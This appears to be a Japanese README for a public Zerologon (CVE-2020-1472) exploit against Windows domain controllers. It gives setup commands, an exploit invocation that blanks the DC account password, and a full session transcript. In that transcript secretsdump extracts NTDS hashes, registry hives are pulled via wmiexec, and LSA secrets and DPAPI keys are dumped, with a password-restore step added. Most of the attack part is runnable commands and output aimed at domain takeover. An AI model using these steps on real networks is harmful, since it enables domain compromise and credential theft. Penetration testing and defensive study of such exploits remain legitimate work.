
CVE-2020-1472 に対する検査およびエクスプロイトコード、通称 Zerologon
ドメインコントローラが Zerologon 攻撃に対して脆弱かどうかをテストします。脆弱な場合、ドメインコントローラのアカウントパスワードを空文字列にリセットします。
注意: この操作は本番環境で問題を引き起こす可能性が高いです(例:DNS 機能、レプリケーションドメインコントローラとの通信など)。その結果、対象クライアントはドメインに対して認証できなくなり、手動操作でのみ再同期が可能になります。Zerologon 攻撃がどのように問題を引き起こすかについて詳しく知りたい場合は、@_dirkjan の素晴らしい研究を こちら でご覧ください。
Zerologon のオリジナル研究とホワイトペーパー(Secura 社、Tom Tervoort) - https://www.secura.com/blog/zero-logon
Netlogon 認証バイパスを試行します。ドメインコントローラにパッチが適用されている場合、検出スクリプトは 2000 ペアの RPC 呼び出しを送信した後に脆弱ではないと結論付けます(偽陰性率 0.04%)。
エクスプロイトが成功するのは、ドメインコントローラがローカルに保存されているパスワードではなく、Active Directory に保存されているパスワードを使用してログイン試行を検証する場合のみです。この方法でパスワードを変更すると、AD 内でのみ変更され、対象システム自体は元のパスワードをローカルに保持し続けます。
Python 3.7 以降、virtualenv、pip、および 修正版 Impacket ライブラリ nrpc.py (/impacket/dcerpc/v5) 代わりに GitHub から入手可能な、netlogon 構造が追加された最新版の Impacket が必要です。
git clone https://github.com/SecureAuthCorp/impacketcd impacketpwd
~/impacket/
virtualenv --python=python3 impacketsource impacket/bin/activatepip install --upgrade pippip install .~/impacket/
cd examplesgit clone https://github.com/VoidSec/CVE-2020-1472cd CVE-2020-1472pip install -r requirements.txtこのスクリプトは DC またはバックアップ DC を対象に使用できます。読み取り専用 DC でも動作する可能性がありますが、まだテストされていません。
DC 名は NetBIOS コンピュータ名である必要があります。この名前が正しくない場合、スクリプトは STATUS_INVALID_COMPUTER_NAME エラーで失敗する可能性があります。
EXAMPLE-DC というドメインコントローラ名と IP アドレス 1.2.3.4 の場合、次のようにスクリプトを実行します。
./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4スクリプトを実行すると、ドメインコントローラのアカウントパスワードが空文字列にリセットされます。
この時点で、Impacket の secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR を実行できるはずです(代わりに空のハッシュ -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 を使用することもできます)。これにより、NTDS.DIT データ(NTLM ハッシュと Kerberos キー)のみが抽出されます。
これで Domain Admin を取得できるはずです。WIN WIN WIN
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up...
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
DC が正常に動作し続けるためには、元のパスワードハッシュを再インストールする必要があります。
Domain Admin を取得したら、wmiexec.py を使用して、secretsdump で取得した資格情報で対象 DC に接続し、以下の手順を実行します。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
次に、以下を実行します: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
これにより、マシンアカウントの元の NT ハッシュが表示されます。その後、こちら で提供されている reinstall_original_pw.py スクリプトを使用して、元のマシンアカウントハッシュをドメインに再インストールできます。成功するまでに複数回実行が必要な場合があります。
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
または、以下の復元手順を使用することもできます。